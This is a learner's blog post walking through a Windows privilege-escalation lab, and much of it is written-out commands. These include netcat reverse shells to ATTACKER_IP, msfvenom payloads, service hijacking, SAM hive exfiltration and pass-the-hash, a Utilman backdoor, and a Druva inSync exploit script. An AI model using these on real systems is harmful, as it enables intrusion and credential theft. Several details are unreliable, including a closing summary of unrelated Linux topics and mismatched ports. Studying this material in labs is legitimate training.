Day 061 to 063 #FromZeroToHacker – Windows privilege escalation

During a penetration test, often we find Windows hosts with an unprivileged user that we can elevate privileges from, using this foothold on the host to escalate to an administration account.

Let’s escalate our knowledge in our daily #FromZeroToHacker challenge.

Table of contents
Introduction
What have I learnt today?
Stats
Resources

Introduction to Windows privilege escalation

During a penetration test, often we find Windows hosts with an unprivileged user that we can elevate privileges from, using this foothold on the host to escalate to an administration account.

Let’s learn the fundamentals of Windows privilege escalation techniques and how to apply them and when.

What have I learnt today?

Windows Privilege Escalation

Privilege escalation consists of using one user to gain access to another user. Ideally, this new user would have administrative privileges, but sometimes we may need to move to another unprivileged user before moving to a user with admin privileges.

Rarely, we may find credentials in text files or spreadsheets, but normally we need to abuse a vulnerability such as:

  • Misconfigurations on Windows services or scheduled tasks.
  • Excessive privileges assigned to our account.
  • Vulnerable software.
  • Missing Windows security patches.

Windows Users

There are two types of Windows users: Administrators, with most privileges, and Standard users, with few privileges and only can perform limited tasks.

There are also a few built-in accounts that use other types of users to perform internal automated tasks:

  • SYSTEM/LocalSystem: Used by the OS to perform internal tasks. Has full access to all files and resources. Even more than administrators.
  • Local Service: Default account used to run Windows services with minimum privileges.
  • Network Service: Default account used to run Windows services with minimum privileges.

Harvesting Passwords from Usual Spots

We can steal users’ credentials from plaintext files or stored by some software like browsers or email clients.

Unattended Windows Installations

When installing Windows on a large number of hosts in an organisation, sometimes admins use Windows Deployment Services, which allows for a single OS image to be deployed to several hosts. These installations are referred to as unattended installations, as they don’t require user interaction, and need an administration account to perform the initial setup, which may be stored in:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

These files have this structure:

<Credentials>
    <Username>Administrator</Username>
    <Domain>thm.local</Domain>
    <Password>MyPassword123</Password>
</Credentials>

Powershell History

Windows has a history feature much like the one in Linux. Previously used commands are stored here and we can read them with:

more C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows credentials

Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. This will list saved credentials: cmdkey /list.

While we can’t see any passwords, if we notice any credentials that are worth trying, we can use the runas /savecred /user:<USERNAME> cmd.exe.

IIS Configuration

Internet Information Services (or IIS) is the default web server on Windows, and its configuration is stored in a file called web.config that we may find in:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

We can find the database connection info on the file with:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve credentials from Software: PuTTY

PuTTY is an SSH client found on Windows, and the connection parameters (IP, user, etc) are stored for later use.

To retrieve the stored proxy credentials, we can search for them with:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Other quick wins

Sometimes, a misconfiguration can allow you to obtain higher privileged user access and even administrator access!

If the previous method didn’t work, you can try these.

Scheduled tasks

Like the cron jobs in Linux, we can look into scheduled tasks (schtasks) to see if it its using a binary we can modify: schtasks /query /tn <TASK_NAME> /fo list /v

schtasks task to run run as user

Watch out for the Task to run and Run as user parameters.

If we can modify/overwrite the Task to run executable, we can control what gets executed for the taskusr1 user, resulting in privilege escalation.

Check the file permissions on the executable with icacls <ROUTE>\<FILENAME>

schtask

The BUILTIN\USERS group has full access (F) over the task’s binary. This means that we can modify the .bat file and insert any payload we like. Let’s change the .bat file to spawn a reverse shell:

C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Then, we start a listener on our local machine with nc -lvp 4444.

The next time the scheduled tasks run, we should receive a reverse shell with taskusr1 privileges.

Reverse shell schtasks

AlwaysInstallElevated

Windows installer files (.msi files) are used to install applications. They run with the privilege level of the user that starts it, and this sometimes means privileged users.

But these files can be configured to run with higher privileges from ANY user account. First, set two registry values:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Then, use msfvenom to generate a malicious .msi file:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f msi -o malicious.msi

As this is a reverse shell, run Metasploit and then the Handler module configured accordingly to receive a reverse shell. Transfer the file, and run the installer with the following command to receive the reverse shell:

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Abusing service misconfigurations

Windows services

Windows services are managed by the SCM (Service Control Manager). The SCM manages the state of services, and each service has an associated executable that will be run by the SCM (Not any executable can be started as a service independently but by the SCM). Each service has designated a user account under which the service will run.

Service Control Manager

The SERVICE_START_NAME is the account used to run the service, and the BINARY_PATH_NAME the associated executable.

Each service has a DACL (Discretionary Access Control List), which indicates who can start, stop, pause, query status, query configuration or reconfigure the service.

Process hacker

All the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\.

Registry

A subkey exists for every service in the system.

If compare this image with the terminal output, we can see that the ImagePath has the executable value (BINARY_PATH_NAME on the terminal) and the account used to start the service on the ObjectName (SERVICE_START_NAME). Only admins can modify the registry.

Insecure permissions on service executable

A service with weak permissions can be exploited to modify or replace it. Let’s see an example by querying sc qc WindowsScheduler:

Windows Scheduler

The vulnerable executable is in C:\Progra~2\System~1\WService.exe and the user associated is svcuser1. Let’s check their permissions.

Windows Scheduler

The Everyone group has Modify permissions (M). We can overwrite it with any payload we fancy. Let’s generate an exe-service payload using msfvenom and serve it through a Python web server:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

python3 -m http.server 9000

Now let’s download it:

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

Once the payload is downloaded, we replace the service executable with our payload:

cd C:\PROGRA~2\SYSTEM~1\

move WService.exe WService.exe.bkp

move C:\Users\thm-unpriv\rev-svc.exe WService.exe

icacls WService.exe /grant Everyone:F

Create a listener waiting for a reverse shell with nc -lvp 4445 and restart the service:

sc stop windowsscheduler 
sc start windowsscheduler
Reverse shell scheduler

Unquoted Service Paths

Sadly, not always a service would let us replace executables as the last trick. But there is an obscure feature: When working with Windows services, sometimes a service is unquoted (not quoted properly).

Unquoted service

Since there are spaces on the BINARY_PATH_NAME, the command becomes ambiguous and the SCM doesn’t know what are you trying to execute:

SCM command arguments

Spaces are used as argument separators unless they are quoted. SCM will try to run :

  1. Disk.exe with Sorter and Enterprise\bin\disksrs.exe as arguments.
  2. Disk Sorter.exe with Enterprise\bin\disksrs.exe as argument.
  3. Disk Sorter Enterprise\bin\disksrs.exe with no arguments.

If we create any of the executables, we can force the service to run OUR executable.

Most services executables will be installed under C:\Program Files or C:\Program Files (x86) by default, which isn’t writable for underprivileged users. But there are exceptions:

  • Some installers change the permissions on the installed folders, making the services vulnerable.
  • An admin might decide to install the service binaries in a non-default path, that may be writable.

In our case, the admin installed the Disk sorter binaries on the C:\MyPrograms folder. Let’s check its permissions:

icacls myprograms

The BUILTIN\Users group has AD and WD privileges, allowing the user to create subdirectories and files, respectively.

As always, let’s create a payload and open a listener:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT -f exe-service -o rev-svc2.exe

nc -lvp 4446

Download it and move the code to the C:\MyPrograms as a Disk.exe file.

move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

icacls C:\MyPrograms\Disk.exe /grant Everyone:F

Insecure Service Permissions

Even if the DACL (Discretionary Access Control List) is well configured, and the service’s binary path is properly quoted, if the service DACL allows you to modify the configuration of a service, we can reconfigure the service, making it point to ANY executable you need and run with any account you prefer. Including SYSTEM itself.

To check for a service DACL, we can use Accesschk from the Sysinternals suite:

AccessChk

Here we can see that BUILTIN\Users group has the SERVICE_ALL_ACCESS permission, which means that any user can reconfigure the service.

Now, time for a cheeky poisoned .exe:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f exe-service -o rev-svc3.exe

nc -lvp <LOCAL_PORT>

Serve the file, open a listener and download it with curl or wget on the hacked machine.

Remember to grant permission to the executable:

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Now, change the service’s associated executable and account:

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Restart the service:

sc stop THMService

sc start THMService

And now you are admin!

Insecure Service permissions

Abusing dangerous privileges

Windows privileges

Privileges are rights that an account has to perform specific tasks, from shutting down the machine up to bypass DACL-based access controls. Check your assigned privileges with whoami /priv.

whoami priv

Here is a list of available privileges on Windows.

SeBackup/SeRestore

The SeBackup and SeRestore privileges allow users to read and write any file in the system, ignoring DACL. If we can read and write any file, we can use this to escalate privileges on the system. Here, for example, we are going to copy the SAM and SYSTEM registry hives to extract the admin password hash.

whoami priv SeBackup SeRestore

Backup the SAM and SYSTEM hashes:

reg save hklm\system C:\Users\THMBackup\system.hive 

reg save hklm\sam C:\Users\THMBackup\sam.hive

This will create a couple of files with the registry hives content. To copy them from the hacked machine to the local one, let’s create an SMB (Server Message Block) server with impacket’s smbserver.py script:

mkdir share

python3.9 /opt/impacket/examples/smbserver.py -smb2support -username <TARGET_USERNAME> -password <TARGET_PASSWORD> public share

Once this is running, a connection has been created from your local Linux to the remote Windows machine. From the latter, send the copies back to your Linux machine:

copy C:\Users\THMBackup\sam.hive \\<LOCAL_IP>\public\

copy C:\Users\THMBackup\system.hive \\<LOCAL_IP>\public\

Use impacket to retrieve the user’s password hashes (Beware: python 3 is not enough, you should use Python 3.9 or you’ll get an error):

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket password hashes

Do you see that Administrator and Guest hashes are in plain text? Let’s perform a Pass-the-hash (When an attacker steals a hashed user credential, using it to create a session) attack to gain access to the target machine with SYSTEM privileges:

python3.9 /opt/impacket/examples/psexec.py -hashes <ADMIN_HASH> administrator@<TARGET_IP>
Pass the hash

SeTakeOwnership

The SeTakeOwnership privilege allows a user to take ownership of any object on the system, files and registry keys included. And of course, search for a service running as SYSTEM and take ownership of the service’s executable. First, let’s check the SeTakeOwnership privilege with whoami /priv.

SeTakeOwnership

Utilman is a built-in Windows application that provides Ease of Access options during the lock screen. Let’s abuse it.

Utilman

As Utilman runs with SYSTEM privileges, we can replace the original binary for our payload to gain SYSTEM privileges. Let’s take ownership of the utilman.exe file:

takeown /f C:\Windows\System32\Utilman.exe

Being the owner of the file means that we are the owner of the file, not that we have privileges over it. But being the owner means that we can assign ourselves any privileges we need. Let’s give ourselves full permissions:

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

Now, replace utilman.exe with a copy of cmd.exe

copy cmd.exe utilman.exe

Good. Now when we call a service that uses utilman.exe, it will run the terminal but with full admin privileges. Lock your screen from the start button, then click the Easy of Access button on the bottom right, second icon. A terminal with SYSTEM privileges will spawn.

Easy of access

SeImpersonate/SeAssignPrimaryToken

These privileges allow a process to impersonate other users and act like themselves, spawning a process or thread under the security context of another user.

Let’s use an FTP server as an example. Without impersonation, if Anna logs into the FTP server and tries to access her files, the FTP service will her token:

FTP Example

As attackers, if we take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user. In Windows systems, LOCAL SERVICE and NETWORK SERVICE ACCOUNTS have such privileges. Internet Information Services (IIS) will also create a similar default account called iis apppool\defaulttapppool for web applications.

To elevate privileges, we need to:

  1. Spawn a process so the users can connect and authenticate to it for impersonation to occur.
  2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.

We will use RogueWinRM exploit to fulfil both conditions.

Let’s say we have a compromised website running on IIS and that we have planted a web shell. We can use the web shell to check for the assigned privileges of the compromised account, and confirm we hold both privileges of interested:

whoami SeImpersonate

We are going to use the RogueWinRM exploit, that whenever a user starts the BITS service, automatically creates a connection to port 5985 (typically used for WinRM service: A port that exposes a Powershell console to be used remotely) using SYSTEM privileges.

If the WinRM service isn’t running on the target, an attacker can start a fake WinRM service to catch authentication attempts. With SeImpersonate privileges, we can execute any command on behalf of the connecting SYSTEM-privileged user.

Let’s start a Netcat listener:

nc -lvp 4442

Then, use the web shell to trigger the RogueWinRM exploit:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <LOCAL_IP> 4442"

The -p parameter specifies the executable to be run, the -a parameter is used to pass arguments to the executable.

Bingo.

SeImpersonate reverse shell

Abusing vulnerable software

Unpatched software

Organisations and users may not update the software, leaving vulnerabilities open to ripe (Mandatory stop right now to update your OS and software). We can dump information about the installed software with:

wmic <PRODUCT> get <NAME/VERSION/SERIALNUMBER/VENDOR/etc>

wmic get

As always, remembering all the commands is hard, so here is a wmic cheat sheet for you.

The wmic command may not return all installed programs, so also check desktop shortcuts, available services, etc.

Once we have enough product version information, check our friends exploit-dbpacket storm or the old Google.

Case study: Druva inSync 6.6.3

Long story short: Druva inSync 6.6.3 is vulnerable to privilege escalation, as it runs an RPC (Remote Procedure Call, a mechanism that allows a process to expose functions/procedures over the internet) server on port 6064 with SYSTEM privileges.

This, allowed anyone to request the execution of any command, with SYSTEM privileges.

When they noticed, they patched (well…) it by forcing commands to start with the string C:\ProgramData\Druva\inSync4\, but you know how it is. You can run the terminal with SYSTEM privileges by using C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe bypassing any check.

To create an exploit, first, we need to understand how to talk to port 6064:

Talking to port 60644
  • The first packet is a simple Hello packet with a fixed string.
  • The second packet indicates that we want to execute procedure number 5 (the vulnerable one).
  • The last two packets are used to send the length of the command and the command string itself.

Published by Matteo Malvica, this exploit can be used in our target machine to elevate privileges:

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

We can just open a Powershell terminal and paste the exploit directly to execute it.

Read the code: The exploit’s default payload, specified in the $cmd variable will create a user named pwnd, but won’t assign him admin privileges. We may need to change the payload for something more useful (modify the 3rd line of the code with this one):

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

This will create the user pwnd with an assigned password and add it to the administrator’s group.

If the exploit is successful, we should be able to run the following command to verify that the user pwnd exists, and it is part of the administrators’ group:

PowerShell

Now, we can open the CMD terminal with our new user, with its new and flashy administrator privileges:

Pwnd login

Tools of the trade

Let’s be honest: Time is very important, and everything we can automate, we should automate. I’m kidding: I’m lazy and there are tools that can conduct system enumeration automatically. Let’s see them.

Automated tools, while they do everything by themselves, can sometimes miss a privilege escalation vector.

WinPEAS

WinPEAS is a script developed to enumerate the target system to uncover privilege escalation paths.

WinPEAS runs commands similar to the ones we just listed, printing their output once finished. This output can be lengthy, and sometimes difficult to read, so we can instead pipe the result to a .txt file with winpeas.exe > outputfile.txt.

WinPEAS

PrivescCheck

PrivescCheck is a PowerShell script that searches common privilege escalation on the target system. An alternative to WinPEAS.

PrivescCheck

WES-NG: Windows Exploit Suggester – Next Generation

WES-NG

What a name!

Some exploit-suggesting scripts such as WinPEAS require to be uploaded to the target machine to be run. This may be loud and may cause that antivirus software to detect and delete them.

An alternative is WES-NG, which can be run on our attacking (local) machine.

We can download WES-NG here, which is just a Python script, and we can run it with wes.py --update. Once the database is uploaded, we run the wes.py systeminfo.txt command.

Metasploit

You already know Metasploit. If not, check the link.

Already installed on Kali Linux, we can use multi/recon/local_exploit_suggester module after having a Meterpreter shell on the target system to list vulnerabilities that may elevate our privileges on the target system.

Summary

P.S: This lesson took me 3 days to finish. It was pretty long, but I also noticed one thing: The whole path has MEDIUM difficulty. I just started Cyber Security less than 2 months ago. I noticed an increase in the difficulty by a lot. But finally, I’m done with this lesson.

Today we have learn a lot of new things, let’s enumerate them:

  • Kernel exploits which we can find in Exploit-DB and googling.
  • Executing commands with root privileges or sudo.
  • Using files that have SUID privileges.
  • Process with Capabilities.
  • Manipulating Cron jobs.
  • Adding routes to $PATH to execute an exploit.
  • Mounting NFS vulnerable directories to pass exploits.

Stats

From 75.292th to 72.336th.

Here is also the Skill Matrix:

Skills Matrix

Resources

Path: Jr Penetration tester

Privilege Escalation

TryHackMe: Windows Privilege Escalation

Other resources

Cron jobs
Accesschk
List of available privileges on Windows
Pass-the-hash attack
wmic cheat sheet
Exploit-db
packet storm 
Google
WinPEAS
PrivescCheck
WES-NG